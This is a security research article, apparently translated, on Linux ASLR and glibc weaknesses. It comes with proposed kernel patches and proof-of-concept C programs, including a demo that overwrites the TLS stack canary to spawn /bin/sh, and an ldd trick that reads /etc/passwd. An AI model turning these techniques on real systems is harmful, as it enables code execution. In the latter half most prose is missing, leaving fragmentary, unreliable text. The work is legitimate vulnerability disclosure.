The Linux kernel is widespread throughout the world, both on servers and on user machines, on mobile platforms (Android OS) and on various “smart” devices. During its existence in the Linux kernel, many different mechanisms for protecting against exploitation of vulnerabilities have appeared, which may exist both in the kernel itself and in user applications. Such mechanisms are, in particular, ASLR and stack canary, counteracting the exploitation of vulnerabilities in applications.
This paper describes the implementation of ASLR in the Linux kernel of the current version (4.15-rc1). Problems have been discovered that allow partial or full circumvention of this protection. Along with the description of the problems, a number of corrections are proposed. A special utility has been developed and reviewed to demonstrate the problems found. All problems are considered in the context of the x86-64 architecture, although for most of the architectures supported by the Linux kernel, they are also relevant.
A number of important functions for the application work are implemented in user space, so during the analysis of the ASLR implementation mechanism, part of the GNU Libc library (glibc) was analyzed and serious problems with the implementation of stack canary were found. It was possible to bypass the stack canary protection and run arbitrary code through the ldd utility.
This paper discusses various ways to bypass the ASLR when running applications.
ASLR (address space layout randomization) is a technology created to complicate the exploitation of a certain class of vulnerabilities, used in some modern operating systems. The basic principle of this technology is to eliminate the known addresses of the process address space for an attacker. In particular, the addresses required in order to:
The technology was first implemented for Linux in 2005. In Microsoft Windows and Mac OS, the implementation appeared in 2007. A good description of the ASLR implementation in Linux is given in article (2).
During the existence of the ASLR, various techniques have been created to circumvent this technology, among which the following types can be distinguished:
It should be noted that ASLR implementations vary greatly in different operating systems and are evolving. Recent changes related to the work of Offset2lib (7), presented in 2014. It revealed the weaknesses of the implementation, allowing to bypass the ASLR due to the proximity of all the libraries to the image of the binary ELF file of the program. As a solution, it was proposed to allocate the image of the ELF file of the application into a separate randomly selected region.
In April 2016, the creators of Offset2lib also criticized the current implementation, highlighting the lack of entropy when choosing the address of the region in ASLR-NG (8). However, since then the patch has not been published.
Consider the result of the work of ASLR in Linux at the moment:
For the initial experience, take Ubuntu 16.04.3 LTS (GNU / Linux 4.10.0-40-generic x86_64) with the latest updates currently installed. The result will not depend much on the Linux distribution and the kernel version starting from 3.18-rc7. If you run "less / proc / self / maps" in the Linux command line, you can see something like the following.
The example shows:
If you apply the subtraction to neighboring regions of memory, you can see: the difference between the binary file, the heap, the stack and the local-archive junior address, and the ld senior address is significant. There is no free page between the loaded libraries (files).
If you repeat the procedure many times, the picture will not change much: the difference between the pages will be different, but the libraries and files will be equally located relative to each other. This fact became the reference point for this article.
Consider how the process of allocating virtual memory works. All logic resides in the do_mmap kernel function, which implements memory allocation both from the user (syscall mmap ) and from the kernel (when execve is executed). It is divided into two actions - first selecting the free appropriate address ( get_unmapped_area ), then displaying pages to the selected address ( mmap_region ). We will be interested in the first stage.
The choice of address options are possible:
If everything went well, the required memory region will be allocated to the selected address.
The virtual memory manager of the process is based on the vm_area_struct structure (hereinafter simply vma):
struct vm_area_struct { unsigned long vm_start; /* Our start address within vm_mm. */ unsigned long vm_end; /* The first byte after our end address within vm_mm. */ ... /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... pgprot_t vm_page_prot; /* Access permissions of this VMA. */ ... };
This structure describes the beginning of a region of virtual memory, the end of a region, and access flags to pages in a region.
vma are organized in a doubly linked list (9) by increasing addresses of the beginning of the region. And in the expanded red-ebony (10), also by increasing the addresses of the beginning of the region. A good rationale for this decision is given by the core developers themselves (11).
Example of a doubly linked list vma in ascending order of addresses:
An extension of a red-black tree is the amount of free memory for the node in question. The amount of free memory of a node is defined as the maximum:
An example of an expanded red-black vma tree:
The selected structure allows you to quickly (beyond O (log n)) to find the vma corresponding to the desired address, or select a free range of a certain length.
When choosing an address, two important limits are also entered - the lowest possible lower value and the highest possible upper one. The lower one is defined by the architecture as the minimum allowed address or the minimum allowed by the system administrator. The top one - mmap_base - is selected as stack - random , where stack is the selected maximum stack address, random is some random value with entropy from 28 to 32 bits depending on the corresponding kernel parameters. The Linux kernel cannot select an address above mmap_base . In the address space of the process, addresses larger than mmap_base either correspond to the stack and special system regions, vvar and vdso , or will never be used unless they are explicitly allocated with the MMAP_FIXED flag.
In the whole scheme, the addresses of the beginning of the stack of the main thread, the base address of loading the binary file of the application, the starting address of the application heap and mmap_base , the starting address of memory allocation using mmap, are unknown .
There are several problems that follow from the described memory allocation algorithm.
During operation, the application uses virtual RAM. Common examples of how an application uses memory are heaps, code, and data (.rodata, .bss) of loaded modules, stacks of streams, and loaded files. Any processing error in these pages may also affect nearby data. The more heterogeneous pages are nearby, the greater the attack surface and the higher the probability of successful operation.
Examples of such errors are errors with boundary processing (out-of-bounds (4)), overflows (integer (12) or buffers (13)), type processing errors (type confusion (14)).
A particular case of this problem is a vulnerability to an offset2lib attack, described in (7). In short: the problem was that the base load address of the program was not allocated separately from the libraries, but was chosen by the kernel as mmap_base. In case of presence of a vulnerability in the application, operation was simplified by a close location of the images of the loaded libraries to the image of the loaded binary application.
A very good example to demonstrate this problem was the vulnerability in PHP (15), which allows you to read or modify neighboring memory regions.
Section 5 will present a few examples.
Loading of dynamic libraries in the Linux OS almost completely occurs without reference to the Linux kernel. The ld library (from GNU Libc) is responsible for this. The only participation of the kernel is through the mmap function (we do not take into account the open / stat and other file operations): this is needed to load the library code and data into the process address space. An exception is the ld library itself, which is usually written in the executable ELF file of the program as an interpreter for loading the file. The interpreter itself is loaded by the kernel.
So, if ld from GNU Libc is used as an interpreter, then libraries are loaded in the following way:
It follows from this algorithm that the order of loading is always determined and can be repeated if all the necessary libraries (their binary files) are known. This allows you to restore the addresses of all libraries, if you know the address of at least one of them:
If the library was loaded while the program was running (for example, using the dlopen function), its position relative to other libraries may be unknown to the attacker in some cases. For example, if there were mmap calls with unknown sizes of allocated memory regions for an attacker.
When exploiting vulnerabilities, knowledge of library addresses helps a lot, for example, in searching for “gadgets” when building ROP chains. In addition, any vulnerability in any of the libraries that allows reading (writing) values relative to the address of this library will be easily exploited due to the fact that the libraries follow each other.
Most Linux distributions contain compiled packages with the most common libraries (for example, libc). This gives knowledge of the length of the libraries when building a part of the distribution pattern of the virtual address space of the process in the case described above.
Theoretically, you can build a large database, for example, for the Ubuntu distribution, which contains the versions of the ld, libc, libpthread, libm, etc. libraries, and for each version of one of the libraries you can determine the many versions of libraries needed for it (dependencies). Thus, it is possible to construct possible variants of distribution maps of a part of the address space of a process with the known address of one of the libraries.
Examples of such databases are libcdb.com and libc.blukat.me , which are used to determine libc versions by offsets to known functions.
From the above, it follows that a deterministic library loading order is an application security problem, the value of which increases with the previously described mmap behavior. On Android, this problem has been fixed since version 7 (16) (17).
Consider the following property of programs: there are a couple of certain points in the program execution flow, between which the program state in the data of interest is determined. For example, when a client connects to a network service, the latter allocates some resources to the client. Some of these resources can be allocated from the application heap. In this case, the relative position of objects on the heap is determined in most cases.
This property is used during application operation when building the required program state. Let's call it a deterministic execution order.
A particular case of this property is some specific point in the program execution flow, in which (point) from the beginning of the program execution, from launch to launch, its state is identical except for some variables. For example, before executing the program’s main function, the ld interpreter must load and initialize all the libraries and initialize the program. The arrangement of libraries relative to each other, as noted in section 4.2, will always be the same. Differences at the time of the execution of the main function will be in the specific addresses of the program load, libraries, stack, heap and objects allocated to this moment in the memory. Differences are due to randomization described in section 6.
Thanks to this property, an attacker can get information about the relative position of the program data. This location will not depend on the randomization of the process address space.
The only possible entropy at this stage may be due to the competition of streams: if the program creates several streams, their competition when working with data can introduce entropy into the location of objects. In this example, creating threads before performing main is possible from the global constructors of the program or the libraries it needs.
When the program starts using the heap and allocating memory in it (usually with the help of new / malloc), the arrangement of objects in the heap relative to each other will also be constant for a certain moment for each launch.
In some cases, the arrangement of the stacks of threads created and the heaps created for them will also be predictable with respect to the library addresses.
If necessary, you can get these offsets to use during operation. For example, by running “strace -e mmap” for this application two times and comparing the difference in addresses.
If the application, after allocating memory through mmap, frees up some of it, there may be “holes” - free memory regions surrounded by occupied regions. Problems can arise if this memory (hole) is again allocated for a vulnerable object (an object that has some vulnerability in its processing). This again leads to the problem of the proximity of objects in memory.
A good example of creating such holes was found in the ELF file download code in the Linux kernel. When loading an ELF file, the kernel first reads the full size of the file being loaded and tries to display the entire file using do_mmap . After a successful file download, the entire memory after the first segment is freed. All the following segments are loaded at a fixed address ( MAP_FIXED ) obtained relative to the first segment. This is necessary in order to be able to load the entire file at the selected address and divide the segments by rights and offsets according to their descriptions in the ELF file. This approach allows you to generate holes in memory, if they were defined in the ELF file between the segments.
When an ELF file is loaded by the ld interpreter (GNU Libc) - in the same situation - it does not cause unmap , but changes permissions to free pages (holes) on PROT_NONE , thereby preventing any process access to these pages. This approach is more secure.
To fix the problem of loading an ELF file containing holes, a Linux kernel has proposed a patch that implements logic as in ld from the GNU Libc (see section 7.1).
TLS (Thread Local Storage) is the mechanism by which each thread in a multi-threaded process can allocate storage locations (18). The implementation of this mechanism is different for different architectures and operating systems, in our case, this is the implementation of glibc under x86-64. For x86, the difference will be insignificant for the mmap problem in question.
In the case of glibc, mmap is also used to create a TLS stream. This means that the TLS stream is selected in the manner already described and can be changed in the case of close proximity to the vulnerable object.
What is interesting about TLS? In the glibc implementation, TLS is indicated by the fs segment register (for the x86-64 architecture). Its structure describes the type tcbhead_t defined in the glibc source files:
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t;
This type contains the stack_guard field, which stores the so-called “canary” - some random (or pseudo-random) number that allows you to protect the application from buffer overflows on the stack (19).
The protection works as follows: when entering the function, a “canary” is placed on the stack, which is taken from tcbhead_t.stack_guard . At the end of the function, the value on the stack is compared with the reference value in tcbhead_t.stack_guard , and if it does not match, the application will terminate with an error.
The following workarounds are known:
From the above it follows the importance of protecting TLS from being read or rewritten by an attacker.
During this study, a problem was discovered in the TLS implementation of glibc for threads created with pthread_create. For a new stream, you must select TLS. after allocating stack memory, glibc initializes TLS in the higher addresses of this memory. In the x86-64 architecture under consideration, the stack grows downwards, which means that TLS is at the top of the stack. Pulling back a constant value from TLS, we get the value used by the new thread for the stack register. The distance from TLS to the stack of the function passed in pthread_create is less than one page. An attacker no longer has to guess or “pry” the value of the “canary”; he can simply overwrite the reference value along with the value on the stack and bypass this protection completely. A similar problem was found in Intel ME (22).
When using malloc in some cases, glibc uses mmap to allocate new memory locations — if the size of the requested memory is larger than a certain amount. In these cases, the memory will be allocated using mmap , which means that the address after the allocation will be “next” to the libraries or other data allocated by mmap. In these cases, the attacker's attention is attracted by errors in handling objects on the heap, such as heap overflow, “use after free” (23) and “type confusion” (14).
The interesting behavior of the glibc library was noticed when using the pthread_create program. The first time malloc is called from a thread created by pthread_creaete , glibc will call mmap to create a new heap for this thread. In this case, all the addresses allocated with the help of malloc in this thread will be close to the stack of the same thread. This case will be discussed in more detail in section 5.7.
Some programs and libraries use mmap to map files to the process address space. These files can be used, for example, as a cache or to quickly save (change) data on a disk.
Abstract example: Let an application load an MP3 file using mmap. The download address is called mmap_mp3 . Then it reads from the loaded data the offset before the beginning of the audio data offset . Let the application present an error checking the length of the received value. Then the attacker can prepare in a special way an MP3 file and gain access to the memory region located after mmap_mp3 .
The mmap manual for the MAP_FIXED flag says:
MAP_FIXED
Don't interpret addr as a hint: place the mapping at exactly that address. add must must be multiple of the page size. If the memory region is specified by addr and len
overlaps pages of any existing mapping (s), then the overlapped part of the existing mapping (s) will be discarded. f the specified address cant be used, mmap ()
will fail. It is less portable.
In case the requested region with the MAP_FIXED flag overlaps the already existing regions, the result of successful execution of mmap will overwrite the existing regions.
Thus, if a programmer makes a mistake in working with MAP_FIXED , it is possible to override existing memory regions.
An interesting example of such an error was found in the context of this work, both in the Linux kernel and in glibc.
There is a requirement for ELF files, described in (24): segments of the ELF file should follow the Phdr header in ascending order of vaddr addresses:
PT_LOAD
The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the memory are mapped to the beginning of the memory segment. If the segment is the size of the pitch, the size of the pitch is the size of The file size may not be larger than the memory size. Loadable segment entries in the program header, sorted on the p_vaddr member.
However, this requirement is not verified. The current ELF file download code is as follows:
case PT_LOAD: struct loadcmd *c = &loadcmds[nloadcmds++]; c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize)); c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize)); ... maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart; ... for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c) ... /* Map the segment contents from the file. */ if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart), maplen, c->prot, MAP_FIXED|MAP_COPY|MAP_FILE, fd, c->mapoff)
The algorithm for processing all segments is as follows:
ELF-, — , , .
ldd, . ld. ELF- , ldd:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin blackzert@crasher:~/aslur/tests/evil_elf$
/etc/passwd. :
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffc48545000) libevil.so => ./libevil.so (0x00007fbfaf53a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000) /lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)
evil_elf .
MAP_FIXED Linux (25), .
glibc , ASLR — . : , . glibc , , . mmap , . , . , , , .
: . , , . .
, , mmap . , .
, .
pthread_create . Source:
int * p_a = 0; int * p_b = 0; void *first(void *x) { int a = (int)x; p_a = &a; sleep(1); return 0; } void *second(void *x) { int b = (int)x; p_b = &b; sleep(1); return 0; } int main() { pthread_t one, two; pthread_create(&one, NULL, &first, 0); pthread_create(&two, NULL, &second, 0); void *val; pthread_join(one,&val); pthread_join(two, &val); printf("Diff: 0x%x\n", (unsigned long)p_a - (unsigned long)p_b); printf("first thread stack variable: %p second thread stack vairable: %p\n", p_a, p_b); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44
:
blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44
, . 'Diff', . — ALSR.
malloc . , malloc, . Source:
void *ptr; void * first(void *x) { int a = (int)x; int *p_a = &a; int pid = getpid(); printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; ptr = malloc(128 * 4096 * 4096 - 64); pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24
:
blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24
, — . , malloc, — ASLR.
mmap pthread_create . , mmap, . Source:
void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); printf("%lx\n%p, %p\n", (unsigned long long)p_a - (unsigned long long)ptr, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f35b0e3d000, 0x7f35b963cf34
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f5a1083f000, 0x7f5a1903ef34
. , mmap, — ASLR.
mmap TLS . . , «» TLS. Source:
int main(int argc, char **argv, char **envp) { int res; char buffer[256]; sprintf(buffer, "%.255s",argv[0]); unsigned long * frame = __builtin_frame_address(0); unsigned long * tls; res = arch_prctl(ARCH_GET_FS, &tls); unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; printf("TLS %p , FRAME %p\n", tls, frame); printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[-1], tls[5]); printf("from mmap to TLS: 0x%lx\n", (char *)tls - (char*)addr); unsigned long diff = tls - addr; tcbhead_t *head = (tcbhead_t*)&addr[diff]; printf("cookie from addr: 0x%lx\n", head->stack_guard); printf("cookie == stack_cookie? %d\n", head->stack_guard == frame[-1]); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f520540c700 , FRAME 0x7ffed15ba130 stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00 from mmap to TLS: 0x85c8700 cookie from addr: 0x94905ec857965c00 cookie == stack_cookie? true
:
blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0 stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300 from mmap to TLS: 0x85c8700 cookie from addr: 0x51327792302d5300 cookie == stack_cookie? true
, , «» . , «» . — , mmap . 0x85c8700 . ASLR «».
4.2, : mmap «system» «execv» glibc — :
int main(int argc, char **argv, char **envp) { int res; system(""); // call to make lazy linking execv("", NULL); // call to make lazy linking unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system"); unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv"); printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv); printf("system - addr %lx execv - addr %lx\n", addr_system - addr, addr_execv - addr); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860 system - addr 8045390 execv - addr 80cc860
:
blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f534809c000 system 7f53500e1390 execv 7f5350168860 system - addr 8045390 execv - addr 80cc860
, . ASLR, , mmap. , , .
TLS-. , «» TLS, . — .
0x41. :
void pwn_payload() { char *argv[2] = {"/bin/sh", 0}; execve(argv[0], argv, 0); } int fixup = 0; void * first(void *x) { unsigned long *addr; arch_prctl(ARCH_GET_FS, &addr); printf("thread FS %p\n", addr); printf("cookie thread: 0x%lx\n", addr[5]); unsigned long * frame = __builtin_frame_address(0); printf("stack_cookie addr %p \n", &frame[-1]); printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]); unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) + fixup; // example of exploitation // prepare exploit void *exploit = malloc(len); memset(exploit, 0x41, len); void *ptr = &pwn_payload; memcpy((char*)exploit + 16, &ptr, 8); // exact stack-buffer overflow example memcpy(&frame[-1], exploit, len); return 0; } int main(int argc, char **argv, char **envp) { pthread_t one; unsigned long *addr; void *val; arch_prctl(ARCH_GET_FS, &addr); if (argc > 1) fixup = 0x30; printf("main FS %p\n", addr); printf("cookie main: 0x%lx\n", addr[5]); pthread_create(&one, NULL, &first, 0); pthread_join(one,&val); return 0; }
. «»:
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls main FS 0x7fa0e8615700 cookie main: 0xb5b15744571fd00 thread FS 0x7fa0e7e2f700 cookie thread: 0xb5b15744571fd00 stack_cookie addr 0x7fa0e7e2ef48 diff : 7b8 *** stack smashing detected ***: ./thread_stack_tls terminated Aborted (core dumped)
«», pwn_payload , sh.
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1 main FS 0x7f4d94b75700 cookie main: 0x2ad951d602d94100 thread FS 0x7f4d94385700 cookie thread: 0x2ad951d602d94100 stack_cookie addr 0x7f4d94384f48 diff : 7b8 $ ^D blackzert@crasher:~/aslur/tests$
. , «». 0x7b8+0x30 , 2024 .
, malloc . Source:
void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr; ptr = malloc(8); printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff844e98c</b> 0x7f20480008c0, 0x7f204fbb1f34
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff94a598c</b> 0x7fa3140008c0, 0x7fa31ab5af34
. . , .
, : , malloc, [heap] .
glibc pthread_create . TLS , «» , : malloc.
«»?
glibc mmap, . 64 . 64 . 128 , 64 , , «» , mmap .
mmap_based : 64 , mmap , malloc .
, — .
, x86-64 Linux «47bits minus one guard page», 2^47 ( ).
64 2^26, 47 – 26 = 21. 2^21 .
.
mmap , , pthread_create , 64 , . , , . .
malloc . glibc, ld . .
6 , mmap_base , : mmap_base 28 32 ( 28 ). .
, 7 0x7f 0x7e. 7 . 2^14 . , .
C:
void * first(void *x) { int a = (int)x; void *ptr; ptr = malloc(8); printf("%p\n", ptr ); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
, , Python:
import subprocess d = {} def dump(iteration, hysto): print 'Iteration %d len %d'%(iteration, len(hysto)) for key in sorted(hysto): print hex(key), hysto[key] i = 0 while i < 1000000: out = subprocess.check_output(['./t']) addr = int(out, 16) #omit page size addr >>= 12 if addr in d: d[addr] += 1 else: d[addr] = 1 i += 1 dump(i,d)
'./t', , malloc . , , . 16 385 , 2^14+1. , .
« , malloc », . : mmap , , — .
malloc . , malloc . 0xdeadbeef. , malloc. . . Source:
void * func(void *x) { long a[1024]; printf("addr: %p\n", &a[0]); if (x) printf("value %lx\n", a[0]); else { a[0] = 0xdeadbeef; printf("value %lx\n", a[0]); } void * addr = malloc(32); printf("malloced %p\n", addr); free(addr); return 0; } int main(int argc, char **argv, char **envp) { int val; pthread_t thread; pthread_create(&thread, NULL, func, 0); pthread_join(thread, &val); pthread_create(&thread, NULL, func, 1); pthread_join(thread, &val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./pthread_cache addr: <b>0x7fd035e04f40</b> value <b>deadbeef</b> malloced <b>0x7fd030000cd0</b> addr: <b>0x7fd035e04f40</b> value <b></b>deadbeef malloced <b>0x7fd030000cd0</b>
, , , . , malloc. . (26). , ASLR.
, :
, , ELF- (ld), ELF- , ( «» ELF).
ASLR
, , , . ( ), .
, ASLR. , , .
, mmap - () mmap -:
Python, . ELF- . , , /proc: ld ( mmap_base) , . . . https://github.com/blackzert/aslur
6.1
, - .
, . .
4.4, ELF- Linux . , :
https://lkml.org/lkml/2017/7/14/290
, glibc ELF- — , . PoC , https://github.com/blackzert/aslur
: , vaddr .
mmap , , : mmap . «», execve.
( 3) « , ». , mmap_min_addr. sysctl. , . 65536.
, mmap x86-64 Linux 4096, mmap_min_addr. cap_mmap_addr , 4096 mmap_min_addr.
cap_mmap_addr : «» . : , - , . , , , «» EPERM.
: , . , — EPERM .
mmap_min_addr . .
, , , — EPERM, . mmap :
” EPERM The operation was prevented by a file seal; see fcntl(2).”
EPERM MAP_ANONYMOUS, .
mmap — . , , — . , , . , — .
:
— vma :
4 , gap .
, .
vma , gap. .
/bin/less :
314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so 314a2d301000-314a2d302000 r--p /lib/x86_64-linux-gnu/ld-2.26.so 314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so 314a2d303000-314a2d304000 rw-p 3169afcd8000-3169afcdb000 rw-p 316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94ac6000-316a94cc5000 ---p /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94cc5000-316a94cc9000 r--p /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9 3204e362d000-3204e3630000 rw-p 4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so 447800102000-447800302000 ---p /lib/x86_64-linux-gnu/libc-2.26.so 447800302000-447800306000 r--p /lib/x86_64-linux-gnu/libc-2.26.so 447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so 447800308000-44780030c000 rw-p 509000396000-509000d60000 r--p /usr/lib/locale/locale-archive 56011c1b1000-56011c1d7000 r-xp /bin/less 56011c3d6000-56011c3d7000 r--p /bin/less 56011c3d7000-56011c3db000 rw-p /bin/less 56011c3db000-56011c3df000 rw-p 56011e0d8000-56011e0f9000 rw-p [heap] 7fff6b4a4000-7fff6b4c5000 rw-p [stack] 7fff6b53b000-7fff6b53e000 r--p [vvar] 7fff6b53e000-7fff6b540000 r-xp [vdso] ffffffffff600000-ffffffffff601000 r-xp [vsyscall]
:
Ubuntu 17.04 Chrome Mozilla Firefox. .
glibc . . :
ASLR . .
PoC. , . ASLR , Windows Mac OS X.
GNU Libc, .
ASLR , Windows, Mac OS X Android.
: .
Source: https://habr.com/ru/post/349544/
All Articles